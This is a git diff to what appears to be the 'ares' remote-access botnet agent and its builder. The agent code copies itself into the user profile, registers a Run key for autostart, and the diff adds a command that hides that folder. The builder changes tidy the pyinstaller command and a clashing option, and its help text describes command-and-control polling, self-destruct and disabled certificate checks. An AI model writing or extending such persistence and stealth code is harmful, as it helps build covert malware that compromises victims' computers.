diff --git a/agent/agent.py b/agent/agent.py
index 462e1e6..311f3e6 100755
--- a/agent/agent.py
+++ b/agent/agent.py
@@ -179,7 +179,8 @@ def persist(self):
         elif platform.system() == 'Windows':
             persist_dir = os.path.join(os.getenv('USERPROFILE'), 'ares')
             if not os.path.exists(persist_dir):
-                os.makedirs(persist_dir)
+                os.makedirs(persist_dir)                        # Make folder
+                os.system('attrib +h "{}"'.format(persist_dir)) # Hide folder
             agent_path = os.path.join(persist_dir, os.path.basename(sys.executable))
             shutil.copyfile(sys.executable, agent_path)
             cmd = "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v ares /t REG_SZ /d \"%s\"" % agent_path
diff --git a/agent/builder.py b/agent/builder.py
index 1777505..1f44e21 100755
--- a/agent/builder.py
+++ b/agent/builder.py
@@ -35,7 +35,7 @@ def build_agent(output, server_url, hello_interval, idle_time,
             if debug:
                 cmd_build = 'pyinstaller --onefile '
             else:
-                cmd_build = 'pyinstaller --onefile --noconsole'
+                cmd_build = 'pyinstaller --onefile --noconsole '
             cmd_build += prog_name + '.py'
         else:
             if arch == "32":
@@ -46,13 +46,14 @@ def build_agent(output, server_url, hello_interval, idle_time,
             if not debug:
                 cmd_build += ' --noconsole ' 
             cmd_build += prog_name + '.py'
+        print(cmd_build)
         os.system(cmd_build)
         if not agent_file.endswith(".exe"):
             agent_file += ".exe"
         if not output.endswith(".exe"):
             output += ".exe"
     os.chdir(cwd)
-    os.rename(agent_file, output)
+    shutil.move(agent_file, output)
     shutil.rmtree(working_dir)
     print("[+] Agent built successfully: %s" % output)
 
@@ -65,7 +66,7 @@ def main():
     parser.add_argument('--hello-interval', type=int, default=60, help="Delay (in seconds) between each request to the CnC.")
     parser.add_argument('--idle-time', type=int, default=60, help="Inactivity time (in seconds) after which to go idle. In idle mode, the agent pulls commands less often (every <hello_interval> seconds).")
     parser.add_argument('--max-failed-connections', type=int, default=5000, help="The agent will self destruct if no contact with the CnC can be made <max_failed_connections> times in a row.")
-    parser.add_argument('-p', '--persistent', action='store_true', help="Automatically install the agent on first run.")
+    parser.add_argument('-l', '--persistent', action='store_true', help="Automatically install the agent on first run.")
     parser.add_argument('--no-check-certificate', action='store_true', help="Disable server TLS certificate verification.")
     parser.add_argument('-p', '--platform', required=True, help="Platform (linux or windows)")
     parser.add_argument('-a', '--arch', default="32", help="32 or 64 (wine only)")